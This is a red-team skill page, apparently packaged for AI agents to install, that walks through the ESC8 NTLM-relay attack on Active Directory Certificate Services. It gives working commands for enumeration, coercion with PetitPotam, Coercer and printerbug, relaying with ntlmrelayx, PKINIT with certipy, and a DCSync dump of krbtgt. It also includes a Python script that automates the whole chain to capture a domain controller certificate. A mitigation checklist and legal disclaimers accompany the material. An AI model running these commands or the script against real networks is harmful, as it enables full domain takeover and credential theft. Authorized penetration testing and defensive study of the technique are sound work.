red teaming

Relaying NTLM for ADCS ESC8

Run ntlmrelayx into ADCS web enrollment to obtain a domain controller certificate via ESC8.

active-directoryadcscertipyesc8impacketntlm-relayprivilege-escalationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.

Overview

ESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in "Certified Pre-Owned." It abuses the AD CS HTTP web-enrollment endpoint (/certsrv/), which by default supports NTLM authentication and, critically, does not enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can coerce a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then relay that NTLM authentication to the CA's web-enrollment page and request a certificate as the coerced machine.

When the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (DC01$). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay), extended here to NTLM relay against an HTTP enrollment service.

The standard toolchain is Impacket's ntlmrelayx.py (the relay engine, with --adcs mode), a coercion tool (PetitPotam, Coercer, printerbug.py/dementor), and Certipy for enumeration and for turning the captured certificate into a TGT / NT hash.

When to Use

  • During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.
  • When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.
  • When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC/EFSRPC coercion patched).
  • During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.

Prerequisites

  • A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.
  • The CA hostname and an enrollable template that yields client-auth EKU (e.g., DomainController, Machine).
  • Tooling (install from official upstreams):
# Impacket (provides ntlmrelayx.py / impacket-ntlmrelayx)
pipx install impacket
 
# Certipy (AD CS enumeration + abuse)
pipx install certipy-ad
 
# Coercion tools
git clone https://github.com/topotam/PetitPotam.git
pipx install coercer            # https://github.com/p0dalirius/Coercer
# printerbug.py ships with Impacket examples (MS-RPRN)

Objectives

  • Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.
  • Stand up ntlmrelayx in --adcs mode targeting the CA enrollment URL.
  • Coerce a domain controller to authenticate to the relay (PetitPotam/Coercer/printerbug).
  • Capture the base64 certificate issued for the DC machine account.
  • Use Certipy to convert the certificate into a TGT and recover the DC NT hash.
  • Validate domain compromise (DCSync) and document mitigations.

MITRE ATT&CK Mapping

Technique ID Name Tactic Relevance
T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Credential Access / Collection The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint.
T1187 Forced Authentication Credential Access PetitPotam/printerbug coerce the DC to authenticate to the attacker.
T1649 Steal or Forge Authentication Certificates Credential Access The attack yields a certificate for the DC machine account used for PKINIT.
T1003.006 OS Credential Dumping: DCSync Credential Access The recovered DC identity enables DCSync for full domain compromise.

Workflow

1. Enumerate AD CS for ESC8

Use Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:

certipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout

Look for ESC8 in the output and note the CA's web-enrollment URL (e.g., http://ca01.corp.local/certsrv/certfnsh.asp).

2. Start the NTLM relay in ADCS mode

Point ntlmrelayx at the CA's web-enrollment endpoint and request a DomainController template certificate. --adcs enables AD CS relay; -smb2support accepts SMB2 coerced auth:

impacket-ntlmrelayx \
  -t http://ca01.corp.local/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController

For relaying a member server/workstation instead of a DC, use --template Machine (or User for a user account).

3. Coerce the domain controller to authenticate

Trigger the DC to authenticate to the relay listener using a coercion primitive.

PetitPotam (MS-EFSRPC):

# python3 PetitPotam.py <listener/attacker IP> <target DC IP>
python3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10

Coercer (multi-protocol coercion):

coercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10

printerbug.py (MS-RPRN, ships with Impacket):

python3 printerbug.py corp.local/attacker:'Password123!'@10.0.0.10 10.0.0.50

4. Capture the issued certificate

When the coerced DC authenticates, ntlmrelayx relays it to the CA and prints output similar to:

[*] Authenticating against http://ca01.corp.local as CORP/DC01$ SUCCEED
[*] GOT CERTIFICATE! ID 1337
[*] Base64 certificate of user DC01$:
MIIRXAIBAzCC...<snip>...

Save the base64 PKCS#12 blob to a .pfx file (decode it; the cert has no export password by default):

echo 'MIIRXAIBAzCC...<snip>...' | base64 -d > dc01.pfx

5. Convert the certificate to a TGT and NT hash

Use Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:

certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10

Certipy outputs a .ccache TGT and the NT hash, e.g. [*] Got hash for 'dc01$@corp.local': aad3b435...:<NTHASH>.

6. Leverage the DC identity (DCSync)

With the DC machine account's hash/TGT, perform DCSync to extract domain credentials (e.g., krbtgt, Domain Admins) using the recovered TGT:

# Use the ccache TGT, then DCSync via secretsdump
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user krbtgt

7. Validate mitigations (defensive checklist)

Confirm the environment is hardened against ESC8 after testing:

  • Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.
  • Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.
  • Remove unused HTTP Web Enrollment role services where possible.
  • Patch coercion vectors (MS-EFSRPC/PetitPotam, MS-RPRN/printerbug) and restrict RPC.
  • Monitor for forced authentication and anomalous machine-account certificate enrollment.

Tools and Resources

Tool Purpose Link
Impacket ntlmrelayx NTLM relay engine with --adcs mode https://github.com/fortra/impacket
Certipy AD CS enumeration and certificate abuse https://github.com/ly4k/Certipy
PetitPotam MS-EFSRPC coercion https://github.com/topotam/PetitPotam
Coercer Multi-protocol coercion https://github.com/p0dalirius/Coercer
Certified Pre-Owned (SpecterOps) Original AD CS abuse research https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
SpecterOps CoerceAndRelayNTLMToADCS ESC8 edge reference https://bloodhound.specterops.io/resources/edges/coerce-and-relay-ntlm-to-adcs

Validation Criteria

  • AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with certipy find -vulnerable.
  • ntlmrelayx --adcs --template DomainController listener running against the CA URL.
  • Coercion (PetitPotam/Coercer/printerbug) triggered against the target DC.
  • Base64 certificate for the DC machine account captured and saved as .pfx.
  • Certificate converted to a TGT and NT hash with certipy auth.
  • Domain compromise validated via DCSync (in scope only).
  • EPA/HTTPS and coercion-patch mitigations verified and documented.
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 2

api-reference.md2.6 KB

ESC8 Toolchain — Command Reference

Certipy (enumeration + abuse)

Command Purpose Example
certipy find Enumerate CAs/templates; flag vulnerabilities certipy find -u u@corp.local -p pw -dc-ip 10.0.0.10 -vulnerable -enabled -stdout
certipy auth PKINIT with a .pfx -> TGT + NT hash certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10
certipy req Request a certificate from a template certipy req -u u@corp.local -ca CORP-CA -template DomainController

Useful find flags: -vulnerable, -enabled, -stdout, -json, -dc-ip, -ns.

Impacket ntlmrelayx (relay engine)

Flag Purpose
-t <url> Target to relay to (e.g. http://ca/certsrv/certfnsh.asp)
-tf <file> File of multiple relay targets
--adcs Enable AD CS relay attack (request certificate)
--template <name> Certificate template (DomainController, Machine, User)
-smb2support Accept SMB2 connections from coerced auth
-socks Hold relayed sessions in a SOCKS proxy
-i Drop to an interactive SMB/LDAP shell
--no-http-server / --no-smb-server Disable specific relay servers
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coercion Tools

Tool Protocol Example
PetitPotam MS-EFSRPC python3 PetitPotam.py -u u -p pw -d corp.local <attacker_ip> <dc_ip>
Coercer Multi-protocol coercer coerce -u u -p pw -d corp.local -l <attacker_ip> -t <dc_ip>
printerbug.py MS-RPRN python3 printerbug.py corp.local/u:pw@<dc_ip> <attacker_ip>
dementor.py MS-RPRN python3 dementor.py <attacker_ip> <dc_ip> -u u -p pw -d corp.local

Post-Exploitation

Command Purpose Example
impacket-secretsdump DCSync with TGT/hash KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass corp.local/'DC01$'@dc01 -just-dc-user krbtgt
impacket-getTGT Request TGT from hash impacket-getTGT corp.local/'DC01$' -hashes :<NTHASH>

Web Enrollment Endpoints (relay targets)

Endpoint Notes
/certsrv/certfnsh.asp Certificate submission page (primary ESC8 target)
/certsrv/ Web Enrollment root
/ADPolicyProvider_CEP_Kerberos/service.svc CES/CEP (ESC11-related)

External References

standards.md1.9 KB

Standards and References — Relaying NTLM for ADCS ESC8

NIST CSF 2.0

ID Name Rationale
DE.CM-01 Networks and network services are monitored to find potentially adverse events ESC8 produces detectable network signals: forced authentication (coercion), NTLM relay to the AD CS HTTP endpoint, and anomalous machine-account certificate enrollment.

MITRE ATT&CK

Technique ID Name Tactic Rationale
T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Credential Access / Collection Core ESC8 primitive — relaying coerced NTLM auth to AD CS web enrollment.
T1187 Forced Authentication Credential Access PetitPotam/printerbug coerce the DC to authenticate.
T1649 Steal or Forge Authentication Certificates Credential Access The attack yields a DC machine-account certificate.
T1003.006 OS Credential Dumping: DCSync Credential Access The recovered DC identity enables DCSync.

Supporting Frameworks and Standards

  • MS-EFSRPC — protocol abused by PetitPotam for coercion.
  • MS-RPRN — Print System Remote Protocol abused by printerbug.py.
  • MS-WCCE — Windows Client Certificate Enrollment, the target enrollment protocol.
  • Microsoft KB5005413 / ADV210003 — mitigations for NTLM relay to AD CS (EPA, disable NTLM on enrollment).
  • D3FEND — Certificate-based authentication hardening and network traffic analysis as countermeasures.

Official Resources

Scripts 1

agent.py7.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Coercing/relaying authentication against systems without prior mutual written
# consent is illegal. It is the end user's responsibility to obey all laws.
"""ESC8 (NTLM relay to AD CS) orchestration helper.

Automates the three moving parts of an ESC8 attack in the correct order:
  1) enumerate AD CS for ESC8 with `certipy find -vulnerable`
  2) launch `ntlmrelayx --adcs` against the CA web-enrollment URL
  3) trigger coercion (PetitPotam / printerbug / Coercer) to a relay listener

It builds and runs the real upstream tool commands and parses ntlmrelayx
output for the captured base64 certificate. It does not reimplement the relay.
"""

import argparse
import base64
import binascii
import re
import shutil
import subprocess
import sys
import threading
import time
from datetime import datetime, timezone

CERT_MARKER = "Base64 certificate of user"
B64_RE = re.compile(r"^[A-Za-z0-9+/=]{40,}$")


def find_tool(candidates):
    for name in candidates:
        path = shutil.which(name)
        if path:
            return path
    return None


def run_certipy_find(certipy, user, password, dc_ip, timeout):
    """Run certipy find and report whether ESC8 appears in the output."""
    cmd = [certipy, "find", "-u", user, "-p", password, "-dc-ip", dc_ip,
           "-vulnerable", "-enabled", "-stdout"]
    print(f"[*] enumerating AD CS: {' '.join(cmd[:2])} ... -vulnerable")
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
    except subprocess.TimeoutExpired:
        print("[!] certipy find timed out", file=sys.stderr)
        return False, ""
    out = proc.stdout + proc.stderr
    vulnerable = "ESC8" in out
    print(f"[{'+' if vulnerable else '-'}] ESC8 {'FOUND' if vulnerable else 'not found'} in certipy output")
    return vulnerable, out


def stream_relay(relayx, ca_url, template, captured, stop_event):
    """Run ntlmrelayx --adcs and scan its stdout for the issued certificate."""
    cmd = [relayx, "-t", ca_url, "-smb2support", "--adcs", "--template", template]
    print(f"[*] starting relay: {' '.join(cmd)}")
    try:
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                                text=True, bufsize=1)
    except FileNotFoundError:
        print("[!] ntlmrelayx not found. Install: pipx install impacket", file=sys.stderr)
        stop_event.set()
        return
    grab_next = False
    for line in proc.stdout:
        line = line.rstrip()
        print(f"    [relay] {line}")
        if CERT_MARKER in line:
            grab_next = True
            continue
        if grab_next and B64_RE.match(line.strip()):
            captured.append(line.strip())
            grab_next = False
            stop_event.set()
            break
        if stop_event.is_set():
            break
    try:
        proc.terminate()
    except Exception:
        pass


def trigger_coercion(method, attacker_ip, dc_ip, user, password, domain, timeout):
    """Run the chosen coercion tool against the DC."""
    if method == "petitpotam":
        tool = find_tool(["PetitPotam.py", "petitpotam.py"])
        if not tool:
            print("[!] PetitPotam.py not found on PATH", file=sys.stderr)
            return
        cmd = ["python3", tool, "-u", user, "-p", password, "-d", domain,
               attacker_ip, dc_ip]
    elif method == "printerbug":
        tool = find_tool(["printerbug.py"])
        if not tool:
            print("[!] printerbug.py not found on PATH", file=sys.stderr)
            return
        cmd = ["python3", tool, f"{domain}/{user}:{password}@{dc_ip}", attacker_ip]
    elif method == "coercer":
        tool = find_tool(["coercer"])
        if not tool:
            print("[!] coercer not found. Install: pipx install coercer", file=sys.stderr)
            return
        cmd = [tool, "coerce", "-u", user, "-p", password, "-d", domain,
               "-l", attacker_ip, "-t", dc_ip]
    else:
        print(f"[!] unknown coercion method: {method}", file=sys.stderr)
        return
    print(f"[*] coercing DC {dc_ip} via {method}")
    try:
        subprocess.run(cmd, timeout=timeout)
    except subprocess.TimeoutExpired:
        print("[*] coercion command finished/timed out (expected)")


def save_pfx(b64, path):
    """Decode the captured base64 PKCS#12 blob to a .pfx file."""
    try:
        data = base64.b64decode(b64)
    except (binascii.Error, ValueError) as exc:
        print(f"[!] failed to decode certificate: {exc}", file=sys.stderr)
        return False
    with open(path, "wb") as fh:
        fh.write(data)
    print(f"[+] certificate written to {path} ({len(data)} bytes)")
    print(f"[+] next: certipy auth -pfx {path} -dc-ip <DC_IP>")
    return True


def main():
    parser = argparse.ArgumentParser(description="Authorized ESC8 orchestration helper")
    parser.add_argument("--ca-url", required=True,
                        help="CA web-enrollment URL, e.g. http://ca/certsrv/certfnsh.asp")
    parser.add_argument("--template", default="DomainController",
                        help="Certificate template to request")
    parser.add_argument("--attacker-ip", required=True, help="Relay listener IP")
    parser.add_argument("--dc-ip", required=True, help="Target DC IP to coerce")
    parser.add_argument("--user", required=True, help="Auth account for enum/coercion")
    parser.add_argument("--password", required=True, help="Account password")
    parser.add_argument("--domain", required=True, help="AD domain (FQDN)")
    parser.add_argument("--coerce", default="petitpotam",
                        choices=["petitpotam", "printerbug", "coercer"])
    parser.add_argument("--pfx-out", default="relayed.pfx", help="Output .pfx path")
    parser.add_argument("--skip-enum", action="store_true",
                        help="Skip certipy ESC8 enumeration")
    parser.add_argument("--timeout", type=int, default=120, help="Per-step timeout")
    args = parser.parse_args()

    print(f"[*] ESC8 helper — {datetime.now(timezone.utc).isoformat()}")
    print("[!] Authorized use only. Confirm rules-of-engagement.\n")

    if not args.skip_enum:
        certipy = find_tool(["certipy", "certipy-ad"])
        if certipy:
            run_certipy_find(certipy, f"{args.user}@{args.domain}", args.password,
                             args.dc_ip, args.timeout)
        else:
            print("[-] certipy not found; skipping enumeration "
                  "(install: pipx install certipy-ad)")

    relayx = find_tool(["impacket-ntlmrelayx", "ntlmrelayx.py"])
    if not relayx:
        print("[!] ntlmrelayx not found. Install: pipx install impacket", file=sys.stderr)
        sys.exit(2)

    captured = []
    stop_event = threading.Event()
    relay_thread = threading.Thread(
        target=stream_relay,
        args=(relayx, args.ca_url, args.template, captured, stop_event),
        daemon=True,
    )
    relay_thread.start()
    time.sleep(3)  # let the relay servers bind

    trigger_coercion(args.coerce, args.attacker_ip, args.dc_ip, args.user,
                     args.password, args.domain, args.timeout)

    # Wait for the relay thread to capture a certificate (bounded).
    relay_thread.join(timeout=args.timeout)

    if captured:
        save_pfx(captured[0], args.pfx_out)
        sys.exit(0)
    print("[-] No certificate captured. Verify coercion reached the relay and "
          "the template is enrollable.", file=sys.stderr)
    sys.exit(1)


if __name__ == "__main__":
    main()
Keep exploring